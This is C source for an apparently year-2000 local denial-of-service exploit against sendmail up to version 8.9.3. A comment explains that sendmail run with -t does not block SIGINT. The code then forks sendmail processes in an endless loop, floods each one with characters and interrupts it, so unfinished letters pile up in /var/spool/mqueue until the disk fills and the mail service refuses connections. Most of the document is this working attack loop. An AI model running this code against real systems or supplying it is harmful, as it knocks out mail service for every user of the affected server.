/*
 
 It seems that sendmail ran with -t option
 does NOT block SIGINT ... In that moment
 while we are sending data to its stdin,
 when we will press CTRL-C process is being
 killed, but in queue rests unfinished letter.
 It stays there quite long - long enought to
 fullfill partition on disk where /var/spool/mqueue
 resides. When it happends, sendmail doesn't
 allow new connections - so it is a kind of
 DoS attack for this service. It has been
 tested on all new versions on sendmail up
 to current (8.9.3).
 
   Lukasz Luzar                     K.K.I.
   http://noname.kki.krakow.pl/   lluzar@kki.pl
 
*/


#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>

#define DELAY 5              /* time in seconds needed to reach
MaxMessageSize limit */
#define SM_PATH "/usr/sbin/sendmail -t"

void main()
{
  FILE    *fd;
  int     pid;

  for(;;)
    {
      if(( pid = fork()) == 0)
        {
          setpgrp();
          if(( fd = popen( SM_PATH, "w")) == NULL)
            fprintf( stderr, "popen error\n");
          for(;;) fputc( 'A', fd);
        }
      else
        {
          sleep( DELAY);
          kill( (-1) * pid, SIGINT);
          fprintf( stdout, "next\n");
          wait( NULL);
        }
    }
}
/*                    www.hack.co.za              [2000]*/